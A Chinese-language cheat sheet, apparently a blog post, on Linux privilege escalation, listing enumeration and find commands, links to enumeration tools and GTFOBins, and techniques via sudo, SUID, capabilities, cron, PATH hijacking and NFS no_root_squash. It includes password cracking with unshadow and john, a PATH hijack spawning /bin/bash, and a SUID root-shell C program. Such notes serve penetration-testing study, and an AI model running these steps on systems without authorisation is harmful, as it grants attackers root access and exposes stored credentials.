linux 提权

linux 提权

linux 提权

linux 本机信息枚举

常见命令

复制代码
hostname # 主机名
uname -a # 查询系统信息
cat /etc/version # 查看进程信息
cat /etc/issue # 查看操作系统信息
ps -A #查看所有正在运行的进程
ps axjf #查看进程树
ps aux #选项将显示所有用户的进程 (a)、显示启动进程的用户 (u) 以及显示未连接到终端的进程 (x)
env # 显示环境变量
sodu -l # 查看用户允许已root权限运行哪些命令
id <username> # 提供用户权限级别的一般概述,以及组成员身份
cat /etc/passwd # 发现系统上用户
history # 查看用户历史命令
ifconfig # 显示网卡信息
ip route # 查看存在的网络路由
netstat -ano 查看网络状态

netstat -a # 显示所有侦听端口和已建立的连接。
netstat -at/-au # 用于列出 TCP 或 UDP 协议 分别。netstat
netstat -l # 显示处于"侦听"模式的端口
netstat -s # 按协议列出网络使用统计信息
netstat -tp # 列出包含服务名称和 PID 信息的连接。
netstat -i # 显示接口统计信息。

find命令大全

复制代码
find . -name flag1.txt # 在当前目录查找文件
find /home -name flag1.txt # 在/home 目录查找文件
find / -type d -name config # 在/下找到名为config的目录
find / -type f -perm 0777 # 查找具有 777 权限的文件
find / -perm a=x # 查找可执行文件
find /home -user frank # 在home目录下查找用户Frank的所有文件
find / -mtime 10 # 查找最近 10 天中修改的文件
find / -atime 10 # 查找最近 10 天访问过的文件
find / -cmin -60 # 查找过去60分钟内更改的文件
find / -amin -60 # 查找过去60分钟内访问的文件
find / -size 50M # 查找大小为 50 MB 的文件
find / -size +50M # 查找大小大于 50 MB 的文件
find / -size -50M # 查找大小小于 50 MB 的文件
2>/dev/null # 将错误重定向到/dev/null
# 查找全局可写的目录的三种方法
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null
# 查找全局可执行的目录
find / -perm -o x -type d 2>/dev/null
# 查找开发工具和支持的语言
find / -name perl*
find / -name python*
find / -name gcc*
# 查找具有suid权限的文件
find / -perm -u=s -type f 2>/dev/null

linux 自动枚举工具

复制代码
# LinPeas
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

# LinEnum
https://github.com/rebootuser/LinEnum

# LES(Linux漏洞利用建议器)
https://github.com/mzet-/linux-exploit-suggester

# Linux智能枚举
https://github.com/diego-treitos/linux-smart-enumeration

# Linux隐私检查器
https://github.com/linted/linuxprivchecker

内核提权

利用步骤

复制代码
# 识别内核版本
# 搜索并找到目标系统内核版本的漏洞利用代码
# 运行漏洞利用程序

漏洞来源

复制代码
# 根据您的发现,您可以使用 Google 搜索现有的漏洞利用代码。
# https://www.linuxkernelcves.com/cves等来源也很有用。
# 另一种选择是使用 LES(Linux Exploit Suggester)之类的脚本,但请记住,这些工具可能会生成误报(报告不影响目标系统的内核漏洞)或漏报(不报告任何内核漏洞,尽管内核是易受伤害的)

sudo提权

复制代码
sudo -l # 检查与root权限相关的当前情况
https://gtfobins.github.io/ # 查询具有suid或者sudo权限可以如何提升权限

suid 提权

复制代码
find / -type f -perm -04000 -ls 2>/dev/null # 列出suid/sgid文件
https://gtfobins.github.io/ # suid提权速查
unshadow passwd.txt shadow.txt > passwords.txt # 破解用户名密码
sudo john password.txt # 爆破用户密码
openssl passwd -1 -salt 用户名 密码 # 生成用户名密码的加密

capabilities(功能) 提权

复制代码
getcap -r / 2>/dev/null # 查看启用的功能
https://gtfobins.github.io/ # capabilities提权速查

计划任务提权

复制代码
cat /etc/crontab # 查看计划任务
# 不要忘了加运行权限

环境变量提权

复制代码
echo $PATH # 输出环境变量
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u # 查找可写文件夹
export PATH=/tmp:$PATH # 添加自有环境变量
echo "/bin/bash" > /tmp/thm && chmod +x /tmp/thm # 将bash文件copy成某文件

NFS(网络文件共享)提权

复制代码
cat /etc/exports | grep no_root_squash # 查看nfs配置文件并查看哪些目录可以利用
showmount -e 10.0.2.12 枚举目标机可挂载份额
mkdir /tmp/thm && mount -o rw 10.0.2.12:/backups /tmp/thm && cd /tmp/thm # 挂载目标机nfs

# 创建c语言代码
int main(){
  setgid(0);
  setuid(0);
  system("/bin/bash");
  return 0;
}

gcc nfs.c -o nfs -w && chmod +s nfs && ls -l nfs # 编译c语言代码并赋予suid权限
相关推荐
用户962377954484 天前
VulnHub DC-3 靶机渗透测试笔记
安全
叶落阁主5 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954487 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机7 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机7 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954487 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star7 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954488 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher9 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行12 天前
网络安全总结
安全·web安全